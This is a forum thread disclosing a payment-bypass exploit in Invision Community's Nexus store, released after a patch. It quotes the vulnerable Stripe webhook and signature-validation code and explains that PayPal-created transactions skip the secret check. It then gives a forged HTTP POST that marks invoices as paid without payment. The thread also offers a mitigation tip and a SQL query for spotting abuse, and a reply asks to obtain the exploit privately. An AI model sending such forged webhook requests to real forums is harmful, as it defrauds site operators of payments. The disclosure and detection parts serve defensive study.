Invision community exploit

03/07/2019 04:37 !nvictus-Load#1
Since IPS fixed the bug in 4.3.6 I'm going to release how it worked.

I'm shortly going to explain why that technique works and what you can do against it.

IPS has a very bad payment system (my opinion), it's still the best payment system in forums in general but still bad.



I don't even know how to explain it the best to everyone to understand but I'm gonna try.



When you create a payment in an IPS forum the normal flow is like that:
  1. Adding item to cart
  2. Entering Shipping/Billing address
  3. Choosing a payment gateway
  4. Clicking pay


While you go from step 2 to step 3 an invoice is generated and can be paid from that moment. Whenever you click pay a corresponding Transaction will be generated which is linked to the chosen payment gateway.

If you choose PayPal as payment-gateway it will be the simplest but would also work with other gateways, even custom gateways would work.

When you chose PayPal as payment-gateway the generated transaction will also contain a gw_id which is an identifier for the transaction, that is basically the only thing needed for the exploit, I have another one where you do not need it but you have to manually calculate an HMAC based on the data you send and it will only work with very special gateways, so it cant be used as effective as that.



Now have a look at our gateways that communicate with the payment-services to either validate a transaction or mark it as refunded etc



I will directly jump into the exploitable object here, if you create a transaction with PayPal the transaction will use the settings from the PayPal gateway, what happens when we now send data to the stripe gateway?



Let's check the source of the stripe gateway handler.



The most interesting part for us is here:

Code:
	/* charge.dispute.closed is a chargeback being resolved */
	elseif ( isset( $data['type'] ) and $data['type'] === 'charge.dispute.closed' and isset( $data['data']['object']['charge'] ) and isset( $data['data']['object']['status'] ) )
	{
		$transaction = \IPS\nexus\Transaction::constructFromData( \IPS\Db::i()->select( '*', 'nexus_transactions', array( 't_gw_id=?', $data['data']['object']['charge'] ) )->first() );
		
		echo "ID: " . $transaction->id;
		$settings = json_decode( $transaction->method->settings, TRUE );
		if ( !validate( $settings['webhook_secret'] ) )
		{
			throw new \Exception('INVALID_SIGNING_SECRET');
		}
		
		if ( $data['data']['object']['status'] === 'won' )
		{
			$transaction->status = $transaction::STATUS_PAID;
			$transaction->save();
			if ( !$transaction->invoice->amountToPay()->amount->isGreaterThanZero() )
			{	
				$transaction->invoice->markPaid();
			}
		}
		else
		{
			$transaction->status = $transaction::STATUS_REFUNDED;
			$transaction->save();
		}
	}
so the gateway notifies our server that a dispute was closed, but what we see there too is the exploitable part. The transaction gets loaded by the gw_id which can be found on the PayPal site by just searching in the source for "payment_id" or "PAYID". It will be a unique identifier that is saved in IPS as the gw_id.



Since we somehow have to get a true from validate now we should check the source of validate.

Code:
function validate( $correctSigningSecret )
{
	global $body;
	
	if ( !$correctSigningSecret )
	{
		return TRUE; // In case they upgraded and haven't provided one
	}
	
	if ( isset( $_SERVER['HTTP_STRIPE_SIGNATURE'] ) )
	{
		foreach ( explode( ',', $_SERVER['HTTP_STRIPE_SIGNATURE'] ) as $row )
		{
			list( $k, $v ) = explode( '=', trim( $row ) );
			$sig[ trim( $k ) ][] = trim( $v );
		}
		
		$signedPayload = $sig['t'][0] . '.' . $body;
		$signature = hash_hmac( 'sha256', $signedPayload, $correctSigningSecret );
		
		return in_array( $signature, $sig['v1'] );
	}
	else
	{
		return FALSE;
	}
}

"if (!correctSigningSecret)"? Well thanks, IPS, since our transaction was a PayPal transaction and the settings, are directly loaded from the transaction we won't have a "webhook_secret" so it will return true since we don't have a correctsigningsecret..



So if we now create a fake request the forum will validate us as stripe and we can call every stripe handler..

Code:
POST /applications/nexus/interface/gateways/stripe.php HTTP/1.1
Host: forum.evilcheats.io
Content-Type: application/json

{"type":"charge.dispute.closed","data":{"object":{"charge":"PAYID-PLACEHOLDER","status":"won"}}}
Will result in the invoice and transaction being marked as paid.

The simplest way to avoid that abuse in the feature is in first case, making sure that the transaction settings matching the gateway settings, like comparing the gateway id with the one the transaction has, do that in every gateway, since I already told you there is a load of exploitable objects.



For the last, I'm showing a simple way to find people who abused the PayPal gateway.

Code:
		$response = $transaction->method->api( "payments/payment/{$transaction->gw_id}/execute", array(
			'payer_id'	=> \IPS\Request::i()->PayerID,
		) );
		$transaction->gw_id = $response['transactions'][0]['related_resources'][0]['authorization']['id']; // Was previously a payment ID. This sets it to the actual transaction ID for the authorization. At capture, it will be updated again to the capture transaction ID
		$transaction->auth = \IPS\DateTime::ts( strtotime( $response['transactions'][0]['related_resources'][0]['authorization']['valid_until'] ) );
		if ( isset( $response['payer'] ) and isset( $response['payer']['status'] ) )
		{
			$extra = $transaction->extra;
			$extra['verified'] = $response['payer']['status'];
			$transaction->extra = $extra;
		}
		$transaction->save();
This is from the PayPal payment_gateway and as we can see the gw_id is changed whenever someone paid by PayPal. To find people who abused that method we just need to get "paid" transactions without a changed gw_id.

Code:
SELECT * FROM invictus_nexus_transactions WHERE t_gw_id LIKE 'PAY%' AND (t_status = "okay" OR t_status = "rfnd")
03/07/2019 22:30 The Hallow Light#2
Hi invictus I'm very interested in the exploit. What is your name on discord? I'll hit you up.
03/08/2019 15:47 Smokers Anthem#3
:confused: